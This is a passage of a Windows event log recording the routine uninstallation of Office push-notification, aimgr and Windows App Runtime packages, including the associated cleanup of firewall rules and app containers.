issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.674\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_33.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.675\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.676\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.677\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.683\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_34.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.684\t607\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.699\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.702\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.722\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.726\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.729\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.747\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.748\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.766\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.808\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.835\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:48.835\t617\tSuccessfully updated the status for package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0x0, Set=0x20).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:48.953\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\tMicrosoft.OfficePushNotificationUtility_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-Out-Allow-InternetClient\n\tRule Name:\tOfficePushNotificationsUtility\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:48.954\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\tMicrosoft.OfficePushNotificationUtility_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-Out-Block\n\tRule Name:\tOfficePushNotificationsUtility\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:48.955\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\tMicrosoft.OfficePushNotificationUtility_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-In-Block\n\tRule Name:\tOfficePushNotificationsUtility\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:48.956\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\tMicrosoft.OfficePushNotificationUtility_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-Out-Allow-AllCapabilities\n\tRule Name:\tOfficePushNotificationsUtility\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:49.148\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:16:49.194\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:16:49.195\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:16:49.201\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:49.265\t1024\tPackage Microsoft.OfficePushNotificationUtility_8wekyb3d8bbwe for user S-1-5-21-3712849175-2219398513-4278588552-1006 successfully deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:49.323\t2415\tAn application was unregistered with the following parameters: Microsoft.OfficePushNotificationUtility_8wekyb3d8bbwe!OPushUtil [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:49.335\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.335\t617\tSuccessfully updated the status for package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.347\t41\tSuccessfully deleted AppContainer Microsoft.OfficePushNotificationUtility_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:49.390\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:49.501\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.506\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.513\t400\tDeployment Remove operation with target volume C: on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.522\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe09ad87a5-952f-438d-a535-763f10d07937. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.554\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.560\t603\tStarted deployment DeprovisionPackageOperation operation on a package with main parameter aimgr_8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.569\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_35.rslc for DeprovisionPackageOperation Operation on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.570\t607\tDeployment DeprovisionPackageOperation operation on package aimgr_0.20.61.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.602\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.606\t400\tDeployment DeprovisionPackageOperation operation with target volume C: on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.622\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.626\t603\tStarted deployment Remove operation on a package with main parameter aimgr_0.20.61.0_x64__8wekyb3d8bbwe and Options RemoveForAllUsers and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.632\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_36.rslc for Remove Operation on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.633\t607\tDeployment Remove operation on package aimgr_0.20.61.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1002.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.634\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_37.rslc for Remove Operation on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.637\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_38.rslc for Remove Operation on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.640\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_39.rslc for Remove Operation on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.642\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: aimgr_0.20.61.0_x64__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.643\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_40.rslc for Remove Operation on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.646\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_41.rslc for Remove Operation on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.685\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.688\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1002.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.728\t400\tDeployment Remove operation with target volume C: on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe from:  (aimgr_0.20.61.0_x64__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.745\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.749\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.755\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_42.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.757\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.757\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.759\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.762\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_43.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.765\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.769\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_44.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.771\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.774\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.775\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.776\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_45.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.778\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.780\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.782\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.801\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_46.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.815\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.815\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.816\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.820\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_47.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.821\t607\tDeployment Remove operation on package aimgr_0.20.61.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1001.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.821\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.824\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.829\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.856\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.857\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.875\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.880\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.882\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.886\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: aimgr_0.20.61.0_x64__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.919\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.922\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1001.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.925\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.941\t400\tDeployment Remove operation with target volume C: on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe from:  (aimgr_0.20.61.0_x64__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.963\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.965\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.979\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:49.983\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:49.986\t627\tWindows cannot remove 